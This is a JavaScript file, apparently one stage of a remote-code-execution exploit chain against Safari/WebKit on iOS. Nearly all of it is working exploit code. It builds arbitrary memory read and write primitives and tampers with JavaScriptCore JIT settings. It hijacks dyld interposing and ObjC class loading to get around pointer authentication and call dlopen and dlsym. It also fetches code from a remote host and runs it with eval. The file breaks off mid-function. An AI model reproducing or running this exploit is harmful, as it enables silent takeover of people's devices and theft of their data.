/ rce_worker.js
rce_worker.js
  1  var SERVER_LOG;
  2  let offsets;
  3  let MessageName;
  4  
  5  const no_cow = 1.1;
  6  const unboxed_arr = [no_cow];
  7  const boxed_arr = [{}];
  8  
  9  self[0] = unboxed_arr;
 10  self[1] = boxed_arr;
 11  (() => {
 12    const rce_begin = Date.now();
 13    class Encoder {
 14      constructor(messageName, destinationID) {
 15        this.argList = [];
 16        if (arguments.length) {
 17          this.messageName = messageName;
 18          this.destinationID = destinationID;
 19          this.encode('uint8_t', 0);
 20          this.encode('uint16_t', this.messageName);
 21          this.encode('uint64_t', this.destinationID);
 22        }
 23      }
 24      encode(type, value) {
 25        this.argList.push({
 26          type,
 27          value
 28        });
 29        return this;
 30      }
 31      encode8BitString(str) {
 32        this.encode('uint32_t', str.length);
 33        this.encode('bool', true);
 34        this.argList.push({
 35          type: 'bytes',
 36          value: str
 37        });
 38        return this;
 39      }
 40      encodeNullString() {
 41        this.encode('uint32_t', 0xffffffff);
 42        return this;
 43      }
 44      static argumentAlignment(arg) {
 45        switch (arg.type) {
 46          case 'uint64_t':
 47          case 'int64_t':
 48            return 8;
 49          case 'uint32_t':
 50          case 'int32_t':
 51          case 'float':
 52            return 4;
 53          case 'uint16_t':
 54          case 'int16_t':
 55            return 2;
 56          case 'uint8_t':
 57          case 'int8_t':
 58          case 'bool':
 59            return 1;
 60          case 'bytes':
 61            return 0;
 62          default:
 63            ASSERT_NOT_REACHED(`Encoder.argumentAlignment(): unexpected type name: ${arg.type}`);
 64        }
 65      }
 66      static argumentSize(arg) {
 67        switch (arg.type) {
 68          case 'uint64_t':
 69          case 'int64_t':
 70            return 8;
 71          case 'uint32_t':
 72          case 'int32_t':
 73          case 'float':
 74            return 4;
 75          case 'uint16_t':
 76          case 'int16_t':
 77            return 2;
 78          case 'uint8_t':
 79          case 'int8_t':
 80          case 'bool':
 81            return 1;
 82          case 'bytes':
 83            if (typeof arg.value == 'string') {
 84              return arg.value.length;
 85            } else {
 86              return arg.value.byteLength;
 87            }
 88          default:
 89            ASSERT_NOT_REACHED(`argumentSize(): unexpected type name: ${arg.type}`);
 90        }
 91      }
 92      buffer() {
 93        if (this.__buffer) return this.__buffer;
 94        let bufferSize = 0;
 95        for (const arg of this.argList) {
 96          const alignment = Encoder.argumentAlignment(arg);
 97          const remainder = bufferSize % alignment;
 98          if (remainder) {
 99            bufferSize += alignment - remainder;
100          }
101          bufferSize += Encoder.argumentSize(arg);
102        }
103        const buffer = new ArrayBuffer(bufferSize);
104        const view = new DataView(buffer);
105        let bufferOffset = 0;
106        for (const arg of this.argList) {
107          const alignment = Encoder.argumentAlignment(arg);
108          const remainder = bufferOffset % alignment;
109          if (remainder) {
110            bufferOffset += alignment - remainder;
111          }
112          switch (arg.type) {
113            case 'float':
114              view.setFloat32(bufferOffset, arg.value, true);
115              break;
116            case 'uint64_t':
117              view.setBigUint64(bufferOffset, arg.value, true);
118              break;
119            case 'int64_t':
120              view.setBigInt64(bufferOffset, arg.value, true);
121              break;
122            case 'uint32_t':
123              view.setUint32(bufferOffset, arg.value, true);
124              break;
125            case 'int32_t':
126              view.setInt32(bufferOffset, arg.value, true);
127              break;
128            case 'uint16_t':
129              view.setUint16(bufferOffset, arg.value, true);
130              break;
131            case 'int16_t':
132              view.setInt16(bufferOffset, arg.value, true);
133              break;
134            case 'uint8_t':
135              view.setUint8(bufferOffset, arg.value);
136              break;
137            case 'int8_t':
138              view.setInt8(bufferOffset, arg.value);
139              break;
140            case 'bool':
141              view.setInt8(bufferOffset, !!arg.value);
142              break;
143            case 'bytes':
144              const buffer_u8 = new Uint8Array(buffer);
145              if (typeof arg.value == 'string') {
146                for (let i = 0; i < arg.value.length; ++i) buffer_u8[bufferOffset + i] = arg.value.charCodeAt(i);
147              } else {
148                for (let i = 0; i < arg.value.byteLength; ++i) buffer_u8[bufferOffset + i] = arg.value[i];
149              }
150              break;
151            default:
152              ASSERT_NOT_REACHED(`buffer(): unexpected type name: ${arg.type}`);
153          }
154          bufferOffset += Encoder.argumentSize(arg);
155        }
156        return this.__buffer = buffer;
157      }
158    }
159    ;
160    let log_url_prefix;
161    const canvas = new OffscreenCanvas(1, 1);
162    const ab = new ArrayBuffer(8);
163    const f64 = new Float64Array(ab);
164    const u32 = new Uint32Array(ab);
165    const u64 = new BigUint64Array(ab);
166    const u8 = new Uint8Array(ab);
167    BigInt.prototype.hex = function () {
168      let s = '0x' + this.toString(16);
169      return s;
170    };
171    BigInt.fromDouble = function (v) {
172      f64[0] = v;
173      return u64[0];
174    };
175    BigInt.prototype.asDouble = function () {
176      u64[0] = this;
177      return f64[0];
178    };
179    BigInt.prototype.noPAC = function () {
180      return this & 0x7fffffffffn;
181    };
182    BigInt.prototype.add = function (other) {
183      return this + other;
184    };
185    BigInt.prototype.sub = function (other) {
186      return this - other;
187    };
188    BigInt.prototype.asInt32s = function () {
189      u64[0] = this;
190      let lo = u32[0];
191      let hi = u32[1];
192      if (hi >= 0x80000000) {
193        hi = hi - 0x100000000 & 0xffffffff;
194      }
195      if (lo >= 0x80000000) {
196        lo = lo - 0x100000000 & 0xffffffff;
197      }
198      return [lo, hi];
199    };
200    let read64_biguint64arr = new BigUint64Array(4);
201    ArrayBuffer.prototype.data = function () {
202      return p.read64(p.read64(p.addrof(this) + 0x10n) + 0x10n);
203    };
204    BigUint64Array.prototype.data = function () {
205      return p.read64(p.addrof(this) + 0x10n);
206    };
207    Uint8Array.prototype.data = function () {
208      return p.read64(p.addrof(this) + 0x10n);
209    };
210    function sleep(ms) {
211      const begin = Date.now();
212      while (Date.now() - begin < ms);
213    }
214    let logStart = new Date().getTime();
215    let logEntryID = 0;
216    function print(x, reportError = false, dumphex = false) {
217      let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
218      if (!SERVER_LOG && !reportError) return;
219      let obj = {
220          id: logEntryID++,
221          text: out,
222      }
223      if (dumphex) {
224          obj.hex = 1
225          obj.text = x
226      }
227      let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
228      const xhr = new XMLHttpRequest();
229      xhr.open("GET", host + "/log.html?" + req , false);
230      xhr.send(null);
231    }
232    let signal_ptr;
233    let read64_str = '\u4444'.repeat(0x10);
234    [][read64_str];
235    let begin, ios_version, origin;
236    const p = {};
237    function getJS(fname,method = 'POST') 
238    {
239        try 
240        {
241            let url = "";
242            url = host + "/" + fname;
243            print("trying to fetch from:" + url);
244            let xhr = new XMLHttpRequest();
245            xhr.open("GET", `${url}` , false);
246            xhr.send(null);
247            return xhr.responseText;
248        }
249        catch(e)
250        {
251            print("got error from getJS: " + e);
252        }
253    }
254    function loadJS(fname) {
255      let responseText = getJS(fname);
256      if (responseText) {
257        eval(responseText);
258      }
259    }
260    async function loadObjcClass(cls) {
261      const bitmap = await createImageBitmap(canvas);
262      const wrappedBitmap = p.read64(p.addrof(bitmap) + 0x18n);
263      const imagebuffer = p.read64(wrappedBitmap + 0x10n);
264      p.write64(imagebuffer + 0x20n, cls);
265      bitmap.close();
266    }
267    let slow_fcall_resolve;
268    self.onmessage = async function (e) {
269      const data = e.data;
270      switch (data.type) {
271        case 'stage1':
272          {
273            try
274            {
275            begin = data.begin;
276            ios_version = data.ios_version;
277            origin = data.origin;
278            const device_model = data.device_model;
279            const chipset = data.chipset;
280            const offsets = data.offsets;
281            const slide = data.slide;
282            host = data.desiredHost;
283            SERVER_LOG = data.SERVER_LOG;
284            print("inside stage1");
285            p.addrof = function addrof(o) {
286              boxed_arr[0] = o;
287              return BigInt.fromDouble(unboxed_arr[0]);
288            }        
289            p.fakeobj = function fakeobj(addr) {
290              unboxed_arr[0] = addr.asDouble();
291              return boxed_arr[0];
292            }        
293            let scribble_element;
294            let scribbles = [];
295            let prev_addr = 0n;
296            for (let i = 0; i < 500; ++i) {
297              let o = {
298                p1: 1.1,
299                p2: 2.2
300              };
301              if (p.addrof(o) - prev_addr === 0x20n) {
302                scribble_element = o;
303                break;
304              }
305              scribbles.push(o);
306              prev_addr = p.addrof(o);
307            }
308            let change_scribble_holder = {
309              p1: p.fakeobj(0x108240700000000n),
310              p2: scribble_element
311            };
312            let change_scribble = p.fakeobj(p.addrof(change_scribble_holder) + 0x10n);
313            scribble_element.p3 = 1.1;
314            scribble_element[0] = 1.1;
315            let double_array_cell = BigInt.fromDouble(change_scribble[0]);
316            change_scribble_holder.p1 = p.fakeobj(double_array_cell);
317            const original_cell = change_scribble[0];
318            p.write64 = function (addr, value) {
319              change_scribble[0] = original_cell;
320              change_scribble[1] = (addr + 0x10n).asDouble();
321              if (value === 0n) {
322                scribble_element.p3 = 1;
323                delete scribble_element.p3;
324              } else if (value < 0x2000000000000n) {
325                scribble_element.p3 = p.fakeobj(value);
326              } else if (value <= 0x7ff2000000000000n || value >= 0x8002000000000000n && value <= 0xfff0000000000000n) {
327                scribble_element.p3 = value.sub(0x2000000000000n).asDouble();
328              } else {
329                let off_addr = addr.add(8n);
330                let off_val = p.read64(off_addr);
331                let [hi, lo] = value.asInt32s();
332                scribble_element.p3 = hi;
333                change_scribble[1] = (addr + 0x14n).asDouble();
334                scribble_element.p3 = lo;
335                p.write64(off_addr, off_val);
336              }
337            };
338            p.write16 = function (ptr, u16) {
339              let value = p.read64(ptr);
340              value &= ~0xffffn;
341              value |= u16;
342              p.write64(ptr, value);
343            };
344            change_scribble[1] = p.addrof(read64_biguint64arr).add(8n).asDouble();
345            let read64_float64arr_bytes = BigInt.fromDouble(scribble_element[1]);
346            read64_biguint64arr[0] = 0x10000000006n;
347            read64_biguint64arr[1] = read64_float64arr_bytes.add(0x10n);
348            change_scribble[1] = p.addrof(read64_str).add(8n).asDouble();
349            scribble_element[0] = read64_float64arr_bytes.asDouble();
350            p.read64 = function (addr) {
351              read64_biguint64arr[1] = addr;
352              return BigInt(read64_str.charCodeAt(0)) | BigInt(read64_str.charCodeAt(1)) << 16n | BigInt(read64_str.charCodeAt(2)) << 32n | BigInt(read64_str.charCodeAt(3)) << 48n;
353            };
354            p.read32 = function (addr) {
355              read64_biguint64arr[1] = addr;
356              return BigInt(read64_str.charCodeAt(0)) | BigInt(read64_str.charCodeAt(1)) << 16n;
357            };
358            print("Finished prims succesfully");
359            const vm = p.read64(p.read64(p.addrof(globalThis).add(0x10n)).add(0x38n));
360            const heap = vm.add(0xc0n);
361            const isSafeToCollect = heap.add(0x241n);
362            p.write8 = function (ptr, u16) {
363              let value = p.read64(ptr);
364              value &= ~0xffn;
365              value |= u16;
366              p.write64(ptr, value);
367            };
368            p.write8(isSafeToCollect, 0n);
369            print('vm: ' + vm.hex());
370            print('heap: ' + heap.hex());
371            print('isSafeToCollect: ' + isSafeToCollect.hex());
372            p.device_model = device_model;
373            p.chipset = chipset;
374            globalThis.device_model = p.device_model;
375            p.offsets = offsets;
376            print(`slide: ${slide.hex()}`);
377            p.slide = slide;
378            p.write64(offsets.JavaScriptCore__jitAllowList_once, 0xffffffffffffffffn);
379            p.write64(offsets.JavaScriptCore__jitAllowList + 8n, 1n);
380            print("after write");
381            self.postMessage({
382              type: 'prepare_dlopen_workers'
383            });
384          }
385          catch(e)
386          {
387            print("got exception on stage1: " + e);
388          }
389            break;
390          }
391        case 'dlopen_workers_prepared':
392          {
393            const {
394              offsets
395            } = p;
396            const contexts = p.read64(offsets.WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts);
397            print(`contexts: ${contexts.hex()}`);
398            const contexts_length = p.read64(contexts - 8n) >> 32n;
399            print(`contexts_length: ${contexts_length.hex()}`);
400            const dlopen_workers = [];
401            p.dlopen_workers = dlopen_workers;
402            for (let i = 0n; i < contexts_length; ++i) {
403              const ptr = contexts + i * 0x30n;
404              const key = p.read64(ptr);
405              if (!key) continue;
406              const context = p.read64(ptr + 0x20n);
407              const vtable = p.read64(context).noPAC();
408              if (vtable != offsets.WebCore__DedicatedWorkerGlobalScope_vtable) continue;
409              const script = p.read64(context + 0x150n);
410              const workerOrWorkletThread = p.read64(context + 0x160n);
411              const thread = p.read64(workerOrWorkletThread + 0x28n);
412              const Strong_globalScopeWrapper = p.read64(script + 0x20n);
413              const globalScopeWrapper = p.read64(Strong_globalScopeWrapper);
414              const butterfly = p.read64(globalScopeWrapper + 8n);
415              const id = p.read64(butterfly);
416              const bitmap = p.read64(butterfly + 8n);
417              if (id == 0xfffe000011111111n || id == 0xfffe000022222222n) {
418                p.dlopen_workers.push({
419                  thread: thread,
420                  id: id,
421                  bitmap: bitmap
422                });
423              } else if (id == 0xfffe000033333333n) {
424                p.sub_worker = {
425                  thread: thread,
426                  id: id
427                };
428              }
429            }
430            const defaultLoader = p.read64(offsets.AXCoreUtilities__DefaultLoader);
431            print(`defaultLoader: ${defaultLoader.hex()}`);
432            if (defaultLoader) {
433              const paciza_nullfunc = p.read64(offsets.WebCore__softLinkDDDFACacheCreateFromFramework);
434              print(`paciza_nullfunc: ${paciza_nullfunc.hex()}`);
435              const dispatchSource = p.read64(defaultLoader + 0x18n);
436              print(`dispatchSource: ${dispatchSource.hex()}`);
437              const dispatchSomething = p.read64(dispatchSource + 0x58n);
438              print(`dispatchSomething: ${dispatchSomething.hex()}`);
439              const dispatchBlock = p.read64(dispatchSomething + 0x28n);
440              print(`dispatchBlock: ${dispatchBlock.hex()}`);
441              p.write64(dispatchBlock + 0x20n, paciza_nullfunc);
442            }
443            const classes = [offsets.TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit, offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker];
444            for (let i = 0; i < 2; ++i) {
445              const worker = dlopen_workers[i];
446              const wrappedBitmap = p.read64(worker.bitmap + 0x18n);
447              print(`wrappedBitmap: ${wrappedBitmap.hex()}`);
448              const imageBuffer = p.read64(wrappedBitmap + 0x10n);
449              print(`imageBuffer: ${imageBuffer.hex()}`);
450              p.write64(imageBuffer + 0x20n, classes[i]);
451            }
452            print('Load TextToSpeech');
453            await loadObjcClass(offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest);
454            print('TextToSpeech Loaded');
455            const NSBundleTables = p.read64(offsets.Foundation__NSBundleTables_bundleTables_value);
456            print(`NSBundleTables: ${NSBundleTables.hex()}`);
457            const loadedFrameworks = p.read64(NSBundleTables + 0x20n);
458            print(`loadedFrameworks: ${loadedFrameworks.hex()}`);
459            const loadedFrameworks_length = p.read64(loadedFrameworks + 0x30n);
460            print(`loadedFrameworks_length: ${loadedFrameworks_length.hex()}`);
461            const loadedFrameworks_buffer = p.read64(loadedFrameworks + 8n);
462            print(`loadedFrameworks_buffer: ${loadedFrameworks_buffer.hex()}`);
463            let TextToSpeech_NSBundle;
464            for (let i = 0n; i < loadedFrameworks_length; ++i) {
465              const bundle = p.read64(loadedFrameworks_buffer + 8n * i);
466              if (bundle <= 0x1_00000000n) continue;
467              print(`bundle[${i}]: ${bundle.hex()}`);
468              const initialPath = p.read64(bundle + 0x28n);
469              if (initialPath != offsets.AVFAudio__cfstr_SystemLibraryTextToSpeech) continue;
470              TextToSpeech_NSBundle = bundle;
471              break;
472            }
473            print(`TextToSpeech_NSBundle: ${TextToSpeech_NSBundle.hex()}`);
474            const TextToSpeech_CFBundle = p.read64(TextToSpeech_NSBundle + 0x10n);
475            print(`TextToSpeech_CFBundle: ${TextToSpeech_CFBundle.hex()}`);
476            p.TextToSpeech_NSBundle = TextToSpeech_NSBundle;
477            p.TextToSpeech_CFBundle = TextToSpeech_CFBundle;
478            p.write64(TextToSpeech_NSBundle + 8n, 0x40008n);
479            p.write8(TextToSpeech_CFBundle + 0x34n, 0n);
480            p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n);
481            p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.libARI_cstring);
482            p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x15n);
483            p.write64(TextToSpeech_CFBundle + 0x68n, offsets.CFNetwork__gConstantCFStringValueTable);
484            p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x102n);
485            self.postMessage({
486              'type': 'trigger_dlopen1'
487            });
488            break;
489          }
490        case 'check_dlopen1':
491          {
492            const {
493              offsets
494            } = p;
495            const worker = p.dlopen_workers.find(worker => worker.id == 0xfffe000011111111n);
496            print(`worker.thread: ${worker.thread.hex()}`);
497            const runtimeState = p.read64(offsets.libdyld__gAPIs);
498            p.runtimeState = runtimeState;
499            print(`runtimeState: ${runtimeState.hex()}`);
500            const runtimeState_vtable = p.read64(runtimeState).noPAC();
501            print(`runtimeState_vtable: ${runtimeState_vtable.hex()}`);
502            const dyld_emptySlot = p.read64(runtimeState_vtable).noPAC();
503            print(`dyld_emptySlot: ${dyld_emptySlot.hex()}`);
504            const runtimeStateLock = p.read64(runtimeState + 0x70n);
505            print(`runtimeStateLock: ${runtimeStateLock.hex()}`);
506            p.runtimeStateLock = runtimeStateLock;
507            const p_InterposeTupleAll_buffer = runtimeState + 0xb8n;
508            p.p_InterposeTupleAll_buffer = p_InterposeTupleAll_buffer;
509            const p_InterposeTupleAll_size = runtimeState + 0xc0n;
510            p.p_InterposeTupleAll_size = p_InterposeTupleAll_size;
511            print(`p_InterposeTupleAll_buffer: ${p_InterposeTupleAll_buffer.hex()}`);
512            const stack_bottom = p.read64(worker.thread + 0x10n);
513            worker.stack_bottom = stack_bottom;
514            print(`stack_bottom: ${stack_bottom.hex()}`);
515            const stack_top = p.read64(worker.thread + 0x18n);
516            worker.stack_top = stack_top;
517            print(`stack_top: ${stack_top.hex()}`);
518            p.create_jsstring = function (ptr, size) {
519              const res = 'a'.repeat(8);
520              const str = p.read64(p.addrof(res) + 8n);
521              p.write64(str, size << 32n | 0x1000n);
522              p.write64(str + 8n, ptr);
523              return res;
524            };
525            p.efficient_search = function (begin, end, bytes) {
526              const needle = String.fromCharCode(...bytes);
527              const finder = p.create_jsstring(begin, end - begin);
528              while (true) {
529                const index = finder.indexOf(needle);
530                if (index != -1) {
531                  print(`index:${index}`);
532                  return begin + BigInt(index);
533                }
534              }
535            };
536            const dyld_offset = offsets.dyld__RuntimeState_emptySlot - dyld_emptySlot - p.slide;
537            print(`dyld_offset: ${dyld_offset.hex()}`);
538            p.dlopen_from_lambda_ret = offsets.dyld__dlopen_from_lambda_ret - p.slide - dyld_offset;
539            print(`p.dlopen_from_lambda_ret: ${p.dlopen_from_lambda_ret.hex()}`);
540            print(p.read64(p.dlopen_from_lambda_ret).hex());
541            u64[0] = p.dlopen_from_lambda_ret;
542            const needle = [u8[0], u8[1], u8[2], u8[3]];
543            const search_result = p.efficient_search(stack_top, stack_bottom, needle);
544            print(`search_result:${search_result.hex()}`);
545            const loader = search_result + 0x78n;
546            print(`loader:${loader.hex()}`);
547            const interposingTuples = new BigUint64Array(0x100 * 2);
548            p.interposingTuples = interposingTuples;
549            const interposingTuples_data_ptr = interposingTuples.data();
550            print(`interposingTuples_data_ptr:${interposingTuples_data_ptr.hex()}`);
551            const prev_metadata = new BigUint64Array(4);
552            const prev_metadata_data_ptr = prev_metadata.data();
553            p.prev_metadata = prev_metadata;
554            p.prev_metadata_data_ptr = prev_metadata_data_ptr;
555            print(`prev_metadata_data_ptr:${prev_metadata_data_ptr.hex()}`);
556            prev_metadata[0] = prev_metadata_data_ptr;
557            prev_metadata[1] = 1n;
558            const metadata = new BigUint64Array(4);
559            const metadata_data_ptr = metadata.data();
560            print(`metadata_data_ptr:${metadata_data_ptr.hex()}`);
561            p.metadata1 = metadata;
562            metadata[0] = prev_metadata_data_ptr;
563            metadata[1] = metadata_data_ptr + 0x10n - interposingTuples_data_ptr | 1n;
564            p.write64(loader, p_InterposeTupleAll_buffer - 0x10n);
565            p.write64(loader + 8n, metadata_data_ptr + 0x10n);
566            p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n);
567            p.write64(p.TextToSpeech_NSBundle + 0x40n, 0n);
568            p.write64(p.runtimeStateLock + 0x20n, 0n);
569            p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.HOMEUI_cstring);
570            p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x3bn);
571            p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x101n);
572            print(`going to load AVSpeechSynthesisVoice`);
573            await loadObjcClass(offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice);
574            print(`succeeded to load`);
575            p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x102n);
576            p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n);
577            p.write64(p.TextToSpeech_NSBundle + 0x40n, 0n);
578            p.write64(runtimeStateLock + 0x20n, 0n);
579            p.write64(p.TextToSpeech_NSBundle + 8n, 0x40008n);
580            p.write8(p.TextToSpeech_CFBundle + 0x34n, 0n);
581            p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.PerfPowerServicesReader_cstring);
582            p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x5bn);
583            self.postMessage({
584              'type': 'trigger_dlopen2'
585            });
586            break;
587          }
588        case 'check_dlopen2':
589          {
590            const {
591              offsets
592            } = p;
593            print('check_dlopen2');
594            const worker = p.dlopen_workers.find(worker => worker.id == 0xfffe000022222222n);
595            print(`worker.thread: ${worker.thread.hex()}`);
596            const stack_bottom = p.read64(worker.thread + 0x10n);
597            worker.stack_bottom = stack_bottom;
598            print(`stack_bottom: ${stack_bottom.hex()}`);
599            const stack_top = p.read64(worker.thread + 0x18n);
600            worker.stack_top = stack_top;
601            print(`stack_top: ${stack_top.hex()}`);
602            u64[0] = p.dlopen_from_lambda_ret;
603            const needle = [u8[0], u8[1], u8[2], u8[3]];
604            const search_result = p.efficient_search(stack_top, stack_bottom, needle);
605            print(`search_result:${search_result.hex()}`);
606            const loader = search_result + 0x78n;
607            print(`loader:${loader.hex()}`);
608            const metadata = new BigUint64Array(4);
609            const metadata_data_ptr = metadata.data();
610            print(`metadata_data_ptr:${metadata_data_ptr.hex()}`);
611            p.metadata1 = metadata;
612            metadata[0] = p.prev_metadata_data_ptr;
613            metadata[1] = metadata_data_ptr + 0x10n - 0x100n | 1n;
614            p.write64(loader, p.p_InterposeTupleAll_size - 0x10n);
615            p.write64(loader + 8n, metadata_data_ptr + 0x10n);
616            p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x101n);
617            p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n);
618            p.write64(p.TextToSpeech_NSBundle + 0x40n, 0n);
619            p.write64(p.runtimeStateLock + 0x20n, 0n);
620            p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.libGPUCompilerImplLazy_cstring);
621            p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x5en);
622            await loadObjcClass(offsets.AVFAudio__OBJC_CLASS__AVSpeechUtterance);
623            let interpose_index = 0;
624            function interpose(ptr, val) {
625              p.interposingTuples[interpose_index++] = val;
626              p.interposingTuples[interpose_index++] = ptr;
627            }
628            interpose(offsets.MediaAccessibility__MACaptionAppearanceGetDisplayType, offsets.ImageIO__IIOLoadCMPhotoSymbols);
629            interpose(offsets.CMPhoto__kCMPhotoTranscodeOption_Strips, 0n);
630            interpose(offsets.CMPhoto__CMPhotoCompressionCreateContainerFromImageExt, offsets.libGPUCompilerImplLazy__invoker);
631            interpose(offsets.CMPhoto__CMPhotoCompressionCreateDataContainerFromImage, offsets.Security__SecKeychainBackupSyncable_block_invoke);
632            interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage, offsets.Security__SecOTRSessionProcessPacketRemote_block_invoke);
633            interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation, offsets.libdyld__dlopen);
634            interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddCustomMetadata, offsets.libdyld__dlsym);
635            interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddExif, offsets.dyld__signPointer);
636            while (p.read64(p.p_InterposeTupleAll_size) != 0x100n);
637            print('InterposeTupleAll.size has been written');
638            const initMediaAccessibilityMACaptionAppearanceGetDisplayType = p.read64(offsets.WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType);
639            print(`initMediaAccessibilityMACaptionAppearanceGetDisplayType: ${initMediaAccessibilityMACaptionAppearanceGetDisplayType.hex()}`);
640            const paciza_PAL_initPKContact = p.read64(offsets.WebCore__PAL_getPKContactClass);
641            print(`paciza_PAL_initPKContact: ${paciza_PAL_initPKContact.hex()}`);
642            p.write64(offsets.WebCore__softLinkDDDFAScannerFirstResultInUnicharArray, initMediaAccessibilityMACaptionAppearanceGetDisplayType);
643            p.write64(offsets.ImageIO__gImageIOLogProc, paciza_PAL_initPKContact);
644            p.write64(offsets.WebCore__initPKContact_once, 0xffffffffffffffffn);
645            p.write64(offsets.WebCore__initPKContact_value, 0n);
646            self.postMessage({
647              type: 'sign_pointers'
648            });
649            break;
650          }
651        case 'setup_fcall':
652          {
653            const {
654              offsets
655            } = p;
656            const paciza_invoker = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt);
657            print(`paciza_invoker: ${paciza_invoker.hex()}`);
658            const paciza_security_invoker_1 = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage);
659            print(`paciza_security_invoker_1: ${paciza_security_invoker_1.hex()}`);
660            const paciza_security_invoker_2 = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage);
661            print(`paciza_security_invoker_2: ${paciza_security_invoker_2.hex()}`);
662            const paciza_dlopen = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation);
663            print(`paciza_dlopen: ${paciza_dlopen.hex()}`);
664            const paciza_dlsym = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata);
665            print(`paciza_dlsym: ${paciza_dlsym.hex()}`);
666            const paciza_signPointer = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddExif);
667            print(`paciza_signPointer: ${paciza_signPointer.hex()}`);
668            const gSecurityd = new BigUint64Array(0x100 / 8);
669            const gSecurityd_data_ptr = gSecurityd.data();
670            p.write64(offsets.Security__gSecurityd, gSecurityd_data_ptr);
671            const slowFcallResult = new BigUint64Array(0x10 / 8);
672            const slowFcallResult_data_ptr = slowFcallResult.data();
673            slowFcallResult[8 / 8] = slowFcallResult_data_ptr - 0x18n;
674            p.slowFcallResult = slowFcallResult;
675            const invoker_x0 = new BigUint64Array(0x58);
676            const invoker_x0_data_ptr = invoker_x0.data();
677            const invoker_arg = new BigUint64Array(0x10);
678            const invoker_arg_data_ptr = invoker_arg.data();
679            invoker_x0[0x20 / 8] = slowFcallResult_data_ptr;
680            invoker_arg[0 / 8] = paciza_security_invoker_1;
681            invoker_arg[8 / 8] = invoker_x0_data_ptr;
682            p.write64(offsets.WebCore__TelephoneNumberDetector_phoneNumbersScanner_value, invoker_arg_data_ptr);
683            p.write64(offsets.WebCore__softLinkDDDFAScannerFirstResultInUnicharArray, paciza_invoker);
684            function slow_fcall_1(pc, x0 = 0n, x1 = 0n, x2 = 0n) {
685              invoker_arg[0 / 8] = paciza_security_invoker_1;
686              gSecurityd[0x78 / 8] = pc;
687              invoker_x0[0x28 / 8] = x0;
688              invoker_x0[0x30 / 8] = x1;
689              invoker_x0[0x38 / 8] = x2;
690              return new Promise(r => {
691                slow_fcall_resolve = r;
692                self.postMessage({
693                  type: 'slow_fcall'
694                });
695              });
696            }
697            function slow_fcall_2(pc, x0 = 0n, x1 = 0n, x2 = 0n, x3 = 0n, x4 = 0n, x5 = 0n) {
698              invoker_arg[0 / 8] = paciza_security_invoker_2;
699              gSecurityd[0xb8 / 8] = pc;
700              invoker_x0[0x28 / 8] = x0;
701              invoker_x0[0x30 / 8] = x1;
702              invoker_x0[0x38 / 8] = x2;
703              invoker_x0[0x40 / 8] = x3;
704              invoker_x0[0x48 / 8] = x4;
705              invoker_x0[0x50 / 8] = x5;
706              return new Promise(r => {
707                slow_fcall_resolve = r;
708                self.postMessage({
709                  type: 'slow_fcall'
710                });
711              });
712            }
713            const rope_resolver = [];
714            function resolve_rope(str) {
715              delete rope_resolver[str];
716            }
717            function slow_dlopen(filename, flags) {
718              filename = filename + '\0';
719              resolve_rope(filename);
720              const name_ptr = p.read64(p.read64(p.addrof(filename) + 8n) + 8n);
721              return slow_fcall_1(paciza_dlopen, name_ptr, flags);
722            }
723            function slow_dlsym(handle, symbol) {
724              symbol = symbol + '\0';
725              resolve_rope(symbol);
726              const symbol_ptr = p.read64(p.read64(p.addrof(symbol) + 8n) + 8n);
727              return slow_fcall_1(paciza_dlsym, handle, symbol_ptr);
728            }
729            const signPointer_self = new BigUint64Array(4);
730            const signPointer_self_addr = p.read64(p.addrof(signPointer_self) + 0x10n);
731            function slow_pacia(ptr, ctx) {
732              signPointer_self[0] = 0x80010000_00000000n | ctx >> 48n << 32n;
733              return slow_fcall_1(paciza_signPointer, signPointer_self_addr, ctx, ptr);
734            }
735            function slow_pacib(ptr, ctx) {
736              signPointer_self[0] = 0x80030000_00000000n | ctx >> 48n << 32n;
737              return slow_fcall_1(paciza_signPointer, signPointer_self_addr, ctx, ptr);
738            }
739            const libsystem_pthread = await slow_dlopen('/usr/lib/system/libsystem_pthread.dylib', 1n);
740            print(`libsystem_pthread: ${libsystem_pthread.hex()}`);
741            const libsystem_malloc = await slow_dlopen("/usr/lib/system/libsystem_malloc.dylib", 0n);
